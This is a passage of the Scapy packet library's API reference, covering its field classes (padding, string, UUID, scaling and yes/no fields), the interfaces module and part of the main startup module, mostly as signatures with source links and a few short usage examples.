addfield(pkt: Packet, s: bytes, val: Any) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1862-L1864]

	




	
any2i(pkt: Packet | None, x: Any) → List[BasePacket][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1763-L1774]

	




	
count_from

	




	
getfield(pkt: Packet, s: bytes) → Tuple[bytes, List[BasePacket]][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1792-L1853]

	




	
i2count(pkt: Packet | None, val: List[BasePacket]) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1776-L1783]

	




	
i2len(pkt: Packet | None, val: List[Packet]) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1785-L1790]

	




	
i2m(pkt: Packet | None, i: Any) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1855-L1860]

	




	
islist = 1

	




	
length_from

	




	
max_count

	




	
next_cls_cb

	








	
class scapy.fields.PadField(fld: Field[Any, Any], align: int, padwith: bytes | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L620-L653]

	Bases: _FieldContainer

Add bytes after the proxified field so that it ends at the specified
alignment from its beginning


	
addfield(pkt: Packet, s: bytes, val: Any) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L644-L653]

	




	
fld

	




	
getfield(pkt: Packet, s: bytes) → Tuple[bytes, Any][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L635-L642]

	




	
padlen(flen: int, pkt: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L631-L633]

	








	
class scapy.fields.RawVal(val: bytes = b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L67-L98]

	Bases: object

A raw value that will not be processed by the field and inserted
as-is in the packet string.

Example:

>>> a = IP(len=RawVal("####"))
>>> bytes(a)
b'F\x00####\x00\x01\x00\x005\xb5\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x00'










	
class scapy.fields.ReversePadField(fld: Field[Any, Any], align: int, padwith: bytes | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L656-L682]

	Bases: PadField

Add bytes BEFORE the proxified field so that it starts at the specified
alignment from its beginning


	
addfield(pkt: Packet, s: bytes, val: Any) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L673-L682]

	




	
fld

	




	
getfield(pkt: Packet, s: bytes) → Tuple[bytes, Any][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L664-L671]

	




	
original_length(pkt: Packet) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L660-L662]

	








	
class scapy.fields.ScalingField(name: str, default: float, scaling: int | float = 1, unit: str = '', offset: int | float = 0, ndigits: int = 3, fmt: str = 'B')[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3634-L3674]

	Bases: _ScalingField, Field[Union[int, float], Union[int, float]]

Handle physical values which are scaled and/or offset for communication

Example

>>> from scapy.packet import Packet
>>> class ScalingFieldTest(Packet):
        fields_desc = [ScalingField('data', 0, scaling=0.1, offset=-1, unit='mV')]  # noqa: E501
>>> ScalingFieldTest(data=10).show2()
###[ ScalingFieldTest ]###
  data= 10.0 mV
>>> hexdump(ScalingFieldTest(data=10))
0000  6E                                               n
>>> hexdump(ScalingFieldTest(data=b"m"))
0000  6D                                               m
>>> ScalingFieldTest(data=b"m").show2()
###[ ScalingFieldTest ]###
  data= 9.9 mV






bytes(ScalingFieldTest(…)) will produce 0x6E in this example.
0x6E is 110 (decimal). This is calculated through the scaling factor
and the offset. “data” was set to 10, which means, we want to transfer
the physical value 10 mV. To calculate the value, which has to be
sent on the bus, the offset has to subtracted and the scaling has to be
applied by division through the scaling factor.
bytes = (data - offset) / scaling
bytes = ( 10  -  (-1) ) /    0.1
bytes =  110 = 0x6E

If you want to force a certain internal value, you can assign a byte-
string to the field (data=b”m”). If a string of a bytes object is
given to the field, no internal value conversion will be applied





	Parameters:

	
	name – field’s name


	default – default value for the field


	scaling – scaling factor for the internal value conversion


	unit – string for the unit representation of the internal value


	offset – value to offset the internal value during conversion


	ndigits – number of fractional digits for the internal conversion


	fmt – struct.pack format used to parse and serialize the internal value from and to machine representation # noqa: E501













	
class scapy.fields.SecondsIntField(name: str, default: int, use_msec: bool = False, use_micro: bool = False, use_nano: bool = False)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3542-L3567]

	Bases: Field[float, int]


	
i2repr(pkt: Packet | None, x: float | None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3555-L3567]

	




	
use_micro

	




	
use_msec

	




	
use_nano

	








	
class scapy.fields.ShortEnumField(name: str, default: int, enum: Dict[int, str] | Dict[str, int] | Tuple[Callable[[int], str], Callable[[str], int]] | DADict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2713-L2722]

	Bases: EnumField[int]


	
i2s: Dict[I, str] | None

	




	
i2s_cb: Callable[[I], str] | None

	




	
s2i: Dict[str, I] | None

	




	
s2i_cb: Callable[[str], I] | None

	








	
class scapy.fields.ShortEnumKeysField(name: str, default: int, enum: Dict[int, str] | Dict[str, int] | Tuple[Callable[[int], str], Callable[[str], int]] | DADict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2900-L2905]

	Bases: ShortEnumField

ShortEnumField that picks valid values when fuzzed.


	
randval() → RandEnumKeys[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2903-L2905]

	








	
class scapy.fields.ShortField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1311-L1314]

	Bases: Field[int, int]






	
class scapy.fields.SignedByteField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1179-L1182]

	Bases: Field[int, int]






	
class scapy.fields.SignedIntEnumField(name: str, default: int | None, enum: Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2765-L2768]

	Bases: EnumField[int]






	
class scapy.fields.SignedIntField(name: str, default: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1347-L1350]

	Bases: Field[int, int]






	
class scapy.fields.SignedLongField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1389-L1392]

	Bases: Field[int, int]






	
class scapy.fields.SignedShortField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1317-L1320]

	Bases: Field[int, int]






	
class scapy.fields.SourceIP6Field(name: str, dstname: str)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1001-L1032]

	Bases: IP6Field


	
dstname

	




	
i2h(pkt: Packet | None, x: str | Net6 | None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1017-L1032]

	




	
i2m(pkt: Packet | None, x: str | Net6 | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1009-L1015]

	








	
class scapy.fields.SourceIPField(name: str, dstname: str | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L904-L939]

	Bases: IPField


	
dstname

	




	
i2h(pkt: Packet | None, x: str | Net | None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L935-L939]

	




	
i2m(pkt: Packet | None, x: str | Net | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L929-L933]

	








	
class scapy.fields.StrEnumField(name: str, default: bytes, enum: Dict[str, str] | None = None, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1522-L1534]

	Bases: _StrEnumField, StrField


	
enum

	








	
class scapy.fields.StrField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1481-L1482]

	Bases: _StrField[bytes]






	
class scapy.fields.StrFieldUtf16(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1485-L1502]

	Bases: StrField


	
any2i(pkt: Packet | None, x: str | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1486-L1490]

	




	
h2i(pkt: Packet | None, x: str | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1496-L1498]

	




	
i2h(pkt: Packet | None, x: bytes) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1500-L1502]

	




	
i2repr(pkt: Packet | None, x: bytes) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1492-L1494]

	








	
class scapy.fields.StrFixedLenEnumField(name: str, default: bytes, enum: Optional[Dict[str, str]] = None, length: Optional[int] = None, length_from: Optional[Callable[[Optional[Packet]], int]]  # noqa: E501 = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1919-L1932]

	Bases: _StrEnumField, StrFixedLenField


	
enum

	








	
class scapy.fields.StrFixedLenField(name: str, default: Optional[bytes], length: Optional[int] = None, length_from: Optional[Callable[[Packet], int]]  # noqa: E501 = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1867-L1912]

	Bases: StrField


	
addfield(pkt: Packet, s: bytes, val: bytes | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1900-L1905]

	




	
getfield(pkt: Packet, s: bytes) → Tuple[bytes, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1893-L1898]

	




	
i2repr(pkt: Packet | None, v: bytes) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1884-L1891]

	




	
length_from

	




	
randval() → RandBin[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1907-L1912]

	








	
class scapy.fields.StrFixedLenFieldUtf16(name: str, default: Optional[bytes], length: Optional[int] = None, length_from: Optional[Callable[[Packet], int]]  # noqa: E501 = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1915-L1916]

	Bases: StrFixedLenField, StrFieldUtf16






	
class scapy.fields.StrLenEnumField(name: str, default: bytes, enum: Dict[str, str] | None = None, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2045-L2057]

	Bases: _StrEnumField, StrLenField


	
enum

	








	
class scapy.fields.StrLenField(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1967-L2000]

	Bases: StrField

StrField with a length


	Parameters:

	
	length_from – a function that returns the size of the string


	max_length – max size to use as randval









	
ON_WIRE_SIZE_UTF16 = True

	




	
getfield(pkt: Any, s: bytes) → Tuple[bytes, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1989-L1996]

	




	
length_from

	




	
max_length

	




	
randval() → RandBin[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1998-L2000]

	








	
class scapy.fields.StrLenFieldUtf16(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2041-L2042]

	Bases: StrLenField, StrFieldUtf16






	
class scapy.fields.StrNullField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2212-L2242]

	Bases: StrField


	
DELIMITER = b'\x00'

	




	
addfield(pkt: Packet, s: bytes, val: bytes | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2215-L2217]

	




	
getfield(pkt: Packet, s: bytes) → Tuple[bytes, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2219-L2234]

	




	
i2len(pkt: Packet | None, x: Any) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2240-L2242]

	




	
randval() → RandTermString[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2236-L2238]

	








	
class scapy.fields.StrNullFieldUtf16(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2245-L2246]

	Bases: StrNullField, StrFieldUtf16


	
DELIMITER = b'\x00\x00'

	








	
class scapy.fields.StrStopField(name: str, default: str, stop: bytes, additional: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2249-L2268]

	Bases: StrField


	
additional

	




	
getfield(pkt: Packet | None, s: bytes) → Tuple[bytes, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2258-L2264]

	




	
randval() → RandTermString[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2266-L2268]

	




	
stop

	








	
class scapy.fields.ThreeBytesField(name: str, default: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1075-L1086]

	Bases: Field[int, int]


	
addfield(pkt: Packet, s: bytes, val: int | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1080-L1082]

	




	
getfield(pkt: Packet, s: bytes) → Tuple[bytes, int][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1084-L1086]

	








	
class scapy.fields.TrailerBytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L685-L703]

	Bases: bytes

Reverses slice operations to take from the back of the packet,
not the front






	
class scapy.fields.TrailerField(fld: Field[Any, Any])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L706-L748]

	Bases: _FieldContainer

Special Field that gets its value from the end of the packet
(Note: not layer, but packet).

Mostly used for FCS


	
addfield(pkt: Packet, s: bytes, val: int | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L737-L748]

	




	
fld

	




	
getfield(pkt: Packet, s: bytes) → Tuple[bytes, int][source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L722-L735]

	








	
class scapy.fields.UTCTimeField(name: str, default: int, use_msec: bool = False, use_micro: bool = False, use_nano: bool = False, epoch: Tuple[int, int, int, int, int, int, int, int, int] | None = None, strf: str = '%a, %d %b %Y %H:%M:%S %z', custom_scaling: int | None = None, fmt: str = 'I')[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3484-L3539]

	Bases: Field[float, int]


	
custom_scaling

	




	
delta

	




	
epoch

	




	
i2m(pkt: Packet | None, x: float | None) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3526-L3539]

	




	
i2repr(pkt: Packet | None, x: float) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3510-L3524]

	




	
strf

	




	
use_micro

	




	
use_msec

	




	
use_nano

	








	
class scapy.fields.UUIDEnumField(name: str, default: int | None, enum: Any, uuid_fmt: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3850-L3867]

	Bases: UUIDField, _EnumField[UUID]


	
any2i(pkt: Packet | None, x: Any) → UUID[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3858-L3860]

	




	
i2repr(pkt: Packet | None, x: UUID) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3862-L3867]

	




	
i2s: Dict[I, str] | None

	




	
i2s_cb: Callable[[I], str] | None

	




	
s2i: Dict[str, I] | None

	




	
s2i_cb: Callable[[str], I] | None

	








	
class scapy.fields.UUIDField(name: str, default: int | None, uuid_fmt: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3704-L3847]

	Bases: Field[UUID, bytes]

Field for UUID storage, wrapping Python’s uuid.UUID type.

The internal storage format of this field is uuid.UUID from the Python
standard library.

There are three formats (uuid_fmt) for this field type:


	FORMAT_BE (default): the UUID is six fields in big-endian byte order,
per RFC 4122.

This format is used by DHCPv6 (RFC 6355) and most network protocols.



	FORMAT_LE: the UUID is six fields, with time_low, time_mid
and time_high_version in little-endian byte order. This doesn’t
change the arrangement of the fields from RFC 4122.

This format is used by Microsoft’s COM/OLE libraries.



	FORMAT_REV: the UUID is a single 128-bit integer in little-endian
byte order. This changes the arrangement of the fields.

This format is used by Bluetooth Low Energy.





Note: You should use the constants here.

The “human encoding” of this field supports a number of different input
formats, and wraps Python’s uuid.UUID library appropriately:


	Given a bytearray, bytes or str of 16 bytes, this class decodes UUIDs in
wire format.


	Given a bytearray, bytes or str of other lengths, this delegates to
uuid.UUID the Python standard library. This supports a number of
different encoding options – see the Python standard library
documentation for more details.


	Given an int or long, presumed to be a 128-bit integer to pass to
uuid.UUID.


	Given a tuple:


	Tuples of 11 integers are treated as having the last 6 integers forming
the node field, and are merged before being passed as a tuple of 6
integers to uuid.UUID.


	Otherwise, the tuple is passed as the fields parameter to
uuid.UUID directly without modification.

uuid.UUID expects a tuple of 6 integers.









Other types (such as uuid.UUID) are passed through.


	
FORMATS = (0, 1, 2)

	




	
FORMAT_BE = 0

	




	
FORMAT_LE = 1

	




	
FORMAT_REV = 2

	




	
any2i(pkt: Optional[Packet], x: Any  # noqa: E501) → UUID | None[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3809-L3842]

	




	
i2m(pkt: Packet | None, x: UUID | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3780-L3792]

	




	
m2i(pkt: Packet | None, x: bytes) → UUID[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3794-L3807]

	




	
static randval() → RandUUID[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L3844-L3847]

	




	
uuid_fmt

	








	
class scapy.fields.X3BytesField(name: str, default: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1089-L1092]

	Bases: ThreeBytesField, XByteField


	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1090-L1092]

	








	
class scapy.fields.XBitField(name: str, default: I | None, size: int, tot_size: int = 0, end_tot_size: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2508-L2511]

	Bases: BitField


	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2509-L2511]

	








	
class scapy.fields.XByteEnumField(name: str, default: int | None, enum: Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2743-L2756]

	Bases: ByteEnumField


	
i2repr_one(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2744-L2756]

	








	
class scapy.fields.XByteField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1062-L1065]

	Bases: ByteField


	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1063-L1065]

	








	
class scapy.fields.XIntField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1365-L1368]

	Bases: IntField


	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1366-L1368]

	








	
class scapy.fields.XLE3BytesEnumField(name: str, default: int | None, enum: Dict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2800-L2803]

	Bases: LE3BytesEnumField






	
class scapy.fields.XLE3BytesField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1109-L1112]

	Bases: LEThreeBytesField, XByteField


	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1110-L1112]

	








	
class scapy.fields.XLEIntField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1371-L1374]

	Bases: LEIntField, XIntField


	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1372-L1374]

	








	
class scapy.fields.XLELongField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1413-L1416]

	Bases: LELongField, XLongField


	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1414-L1416]

	








	
class scapy.fields.XLEShortField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1377-L1380]

	Bases: LEShortField, XShortField


	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1378-L1380]

	








	
class scapy.fields.XLEStrLenField(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2029-L2038]

	Bases: XStrLenField


	
i2m(pkt: Packet | None, x: bytes | None) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2030-L2034]

	




	
m2i(pkt: Packet | None, x: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2036-L2038]

	








	
class scapy.fields.XLongField(name: str, default: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1407-L1410]

	Bases: LongField


	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1408-L1410]

	








	
class scapy.fields.XNBytesField(name: str, default: int | None, sz: int)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1168-L1176]

	Bases: NBytesField


	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1169-L1176]

	








	
class scapy.fields.XShortEnumField(name: str, default: int, enum: Dict[int, str] | Dict[str, int] | Tuple[Callable[[int], str], Callable[[str], int]] | DADict[int, str])[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2777-L2780]

	Bases: ShortEnumField






	
class scapy.fields.XShortField(name: str, default: int | None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1335-L1338]

	Bases: ShortField


	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1336-L1338]

	








	
class scapy.fields.XStrField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2011-L2014]

	Bases: _XStrField, StrField

StrField which value is printed as hexadecimal.






	
class scapy.fields.XStrFixedLenField(name: str, default: Optional[bytes], length: Optional[int] = None, length_from: Optional[Callable[[Packet], int]]  # noqa: E501 = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2023-L2026]

	Bases: _XStrField, StrFixedLenField

StrFixedLenField which value is printed as hexadecimal.






	
class scapy.fields.XStrLenField(name: str, default: bytes, length_from: Callable[[Packet], int] | None = None, max_length: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L2017-L2020]

	Bases: _XStrField, StrLenField

StrLenField which value is printed as hexadecimal.






	
class scapy.fields.YesNoByteField(name: str, default: int, config: Dict[str, Any] | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1197-L1308]

	Bases: ByteField

A byte based flag field that shows representation of its number
based on a given association


	In its default configuration the following representation is generated:
	x == 0 : ‘no’
x != 0 : ‘yes’





In more sophisticated use-cases (e.g. yes/no/invalid) one can use the
config attribute to configure.
Key-value, key-range and key-value-set associations that will be used to
generate the values representation.


	A range is given by a tuple (<first-val>, <last-value>) including the
last value.


	A single-value tuple is treated as scalar.


	A list defines a set of (probably non consecutive) values that should be
associated to a given key.




All values not associated with a key will be shown as number of type
unsigned byte.

For instance:

config = {
    'no' : 0,
    'foo' : (1,22),
    'yes' : 23,
    'bar' : [24,25, 42, 48, 87, 253]
}





Generates the following representations:

x == 0 : 'no'
x == 15: 'foo'
x == 23: 'yes'
x == 42: 'bar'
x == 43: 43





Another example, using the config attribute one could also revert
the stock-yes-no-behavior:

config = {
        'yes' : 0,
        'no' : (1,255)
}





Will generate the following value representation:

x == 0 : 'yes'
x != 0 : 'no'






	
eval_fn

	




	
i2repr(pkt: Packet | None, x: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/fields.py#L1306-L1308]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.interfaces

Interfaces management


	
class scapy.interfaces.InterfaceProvider[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L36-L104]

	Bases: object


	
header_sort = 1

	




	
headers: Tuple[str, ...] = ('Index', 'Name', 'MAC', 'IPv4', 'IPv6')

	




	
libpcap = False

	




	
load() → Dict[str, NetworkInterface][source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L42-L46]

	Returns a dictionary of the loaded interfaces, by their
name.






	
name = 'Unknown'

	




	
reload() → Dict[str, NetworkInterface][source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L48-L51]

	Same than load() but for reloads. By default calls load










	
class scapy.interfaces.NetworkInterface(provider: InterfaceProvider, data: Dict[str, Any] | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L107-L200]

	Bases: object


	
is_valid() → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L166-L170]

	




	
l2listen() → Type[SuperSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L176-L178]

	




	
l2socket() → Type[SuperSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L172-L174]

	




	
l3socket(ipv6: bool = False) → Type[SuperSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L180-L182]

	




	
update(data: Dict[str, Any]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L125-L148]

	Update info about a network interface according
to a given dictionary. Such data is provided by providers










	
class scapy.interfaces.NetworkInterfaceDict[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L206-L360]

	Bases: UserDict[str, NetworkInterface]

Store information about network interfaces and convert between names


	
dev_from_index(if_index: int) → NetworkInterface[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L281-L292]

	Return interface name from interface index






	
dev_from_name(name: str) → NetworkInterface[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L259-L268]

	Return the first network device name for a given
device name.






	
dev_from_networkname(network_name: str) → NoReturn[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L270-L279]

	Return interface for a given network device name.






	
load_confiface() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L235-L243]

	Reload conf.iface






	
register_provider(provider: type) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L227-L233]

	




	
reload() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L251-L257]

	




	
show(print_result: bool = True, hidden: bool = False, **kwargs: Any) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L326-L356]

	Print list of available network interfaces in human readable form


	Parameters:

	
	print_result – print the results if True, else return it


	hidden – if True, also displays invalid interfaces

















	
scapy.interfaces.dev_from_index(if_index: int) → NetworkInterface[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L402-L405]

	Return interface for a given interface index






	
scapy.interfaces.dev_from_networkname(network_name: str) → NetworkInterface[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L396-L399]

	Return Scapy device name for given network device name






	
scapy.interfaces.get_if_list() → List[str][source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L366-L369]

	Return a list of interface names






	
scapy.interfaces.get_working_if() → NetworkInterface[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L372-L387]

	Return an interface that works






	
scapy.interfaces.get_working_ifaces() → List[NetworkInterface][source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L390-L393]

	Return all interfaces that work






	
scapy.interfaces.network_name(dev: NetworkInterface | str) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L434-L439]

	Resolves the device network name of a device or Scapy NetworkInterface






	
scapy.interfaces.resolve_iface(dev: NetworkInterface | str) → NetworkInterface[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L408-L431]

	Resolve an interface name into the interface






	
scapy.interfaces.show_interfaces(resolve_mac: bool = True) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/interfaces.py#L442-L445]

	Print list of available network interfaces








            

          

      

      

    

  

    
      
          
            
  
scapy.main

Main module for interactive startup.


	
scapy.main.get_fancy_banner(mini: bool | None = None) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/main.py#L586-L661]

	Generates the fancy Scapy banner


	Parameters:

	mini – if set, force a mini banner or not. Otherwise detect










	
scapy.main.init_session(session_name, mydict, ret)[source] [https://github.com/secdev/scapy/blob/master/scapy/main.py#L495-L552]

	
scapy.main.init_session(session_name, mydict=None, ret=False)

	




	
scapy.main.interact(mydict: Any | None = None, argv: Any | None = None, mybanner: Any | None = None, loglevel: int = 20) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/main.py#L664-L949]

	Starts Scapy’s console.






	
scapy.main.list_contrib(name: str | None = None, ret: bool = False, _debug: bool = False) → List[Dict[str, str]] | None[source] [https://github.com/secdev/scapy/blob/master/scapy/main.py#L252-L318]

	Show the list of all existing contribs.


	Parameters:

	
	name – filter to search the contribs


	ret – whether the function should return a dict instead of
printing it






	Returns:

	None or a dictionary containing the results if ret=True










	
scapy.main.load_contrib(name: str, globals_dict: Dict[str, Any] | None = None, symb_list: List[str] | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/main.py#L230-L249]

	Loads a Scapy contrib module to make variables, objects and
functions available globally.

If no contrib module can be found with the given name, try to find
a layer module, since a contrib module may become a layer module.






	
scapy.main.load_layer(name: str, globals_dict: Dict[str, Any] | None = None, symb_list: List[str] | None = None) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/main.py#L220-L227]

	Loads a Scapy layer module to make variables, objects and functions
available globally.






	
